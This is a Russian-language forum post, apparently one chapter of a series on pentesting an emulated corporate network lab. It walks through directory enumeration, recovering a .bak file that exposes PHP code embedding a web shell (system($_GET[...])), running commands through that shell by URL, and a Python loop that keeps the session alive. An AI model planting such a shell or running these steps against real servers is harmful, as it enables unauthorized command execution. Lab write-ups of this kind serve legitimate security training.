Глава 8
Предыдущая главаСледующая глава
Оглавление
Доброго времени суток колеги. Очередная статья к вашему вниманию об пентесте эмулированной корпоративной сети.Сегодня мы с вами снова затроним Web Application Pentesting.
- Вспомним про поиск директорий и файлов на сайте через утилиту dirsearch
- Найдем ошибки в конфигурации администратора веб приложения
- Научимся выполнять удаленные команды на вебсервере через найденный встроенный веб шелл
Ну что же, давайте приступим.
Сперва как обычно пробросим порт:
SSH> -L 80:192.168.0.7:80
Откроем браузер,посмотрим что там у нас:
Похоже на какой то сервис по проверке капчи,только вот саму капчу не видно,видимо картинка не прогрузилась.
Давайте попытаемся обратится по пути картинки (правой кнопкой мышки - копировать путь картинки,и вставим в адресной строке)
примерно такая ссылка у нас :
http://127.0.0.1/sources/473e95ed33afad031b9ef4e66128496ce66b4645f850e91651fdee05f1eaafccd6db3b927d55165bda6523a917a84c698875513082117f7be857875bff89d4b03c2f52b2e29879ec58c90546a5a3b5889f48c48f609ba907350d717c682177e8b2f0f1/captcha.png
Как видим ошибку сервера... Хмм.. Странно.. Давайте поищим директории и файлы утилитой DirSearch:
Как видим нашло два текстовых файла:
/readme.txt
/robots.txt
Смотрим их и видим что в файле robots.txt скрыто от индексирования поисковыми роботами файлы с расширением *.bak. В readme.txt пишут что бы не забыли поудалять все кешированые капчи.
Хм... Видимо бекапы какие то где то лежат и удаляются время от времени... Поискал на сервере возможные бекапы:
index.bak
index.php.bak
config.bak
config.php.bak
и т.д.
Но увы это не дало никаких результатов...
Затем вспоминаем нашу непонятную картинку и пробуем вместо .png указать разрешение .bak
Видим нам предлагает сохранить файл.Ну что ж сохраним и посмотрим что в нем:
Ухты) Получаем подсказку в виде кусочка кода на PHP:
Давайте сначала глянем на сериализованый обьект $_SESSION:КАПЧА сказал(а):file_put_contents($session_path. /captcha, serialize($_SESSION)); - в случае обращения по $session_path/captcha - на вывод вернется сеарилизованый обьект масива $_SESSION
file_put_contents($session_path. /($_SESSION).php, ?php system($_GET[session]); ? -- а это уже вшитый веб шел
a:1:{s:2:"id";s:198:"e3799776f4aa6ee753dd41b16c496f2166584b1c0749c7ae3d656284a4d68361c23f4cbd11d034ee483d583650556a8117fb7e68c73e6fce77bb16f0a9e16d5a710e1c8fb144ead4b8b1479faa0252ea00134fd441e0a0893138489db02eee1805141a";}
Вот наш масив $_SESSION с одним значением id:
Давайте попробуем заюзать вшитый веб шел:
DarkNode WebShell сказал(а):
http://127.0.0.1/sources/473e95ed33afad031b9ef4e66128496ce66b4645f850e91651fdee05f1eaafccd6db3b927d55165bda6523a917a84c698875513082117f7be857875bff89d4b03c2f52b2e29879ec58c90546a5a3b5889f48c48f609ba907350d717c682177e8b2f0f1/($_SESSION).php?session=id
Но если мы попытаемся выполнить другую команду - то получим 500 ошибку от веб сервера,так как файлы удаляются спустя некоторое время а сессия умерает. Для того что бы придержать файлы на сервере я создам бесконечный цикл обращения по одной куки к главной странице,тогда файлы будут оставатся на месте.
Куки посмотреть можно прям в браузере,любым аддоном для кук браузера или же как я в инженерном меню браузера (в моем случае Firefox)
Далее мой любимий питон и простенький бесконечный цикл обращение с нашими куками:
[hidepl="3,1"]
Python:
#!/usr/bin/env python
import requests
url="http://127.0.0.1"
headers={"Cookie":"PHPSESSID=sqs56fn6j5gl102l1e7g834280"}
while True:
requests.get(url,headers=headers)
После чего можно спокойно поднимать bind shell:
Забираем токен
Предыдущая глава
Следующая глава
Оглавление
Всем спасибо)
Последнее редактирование: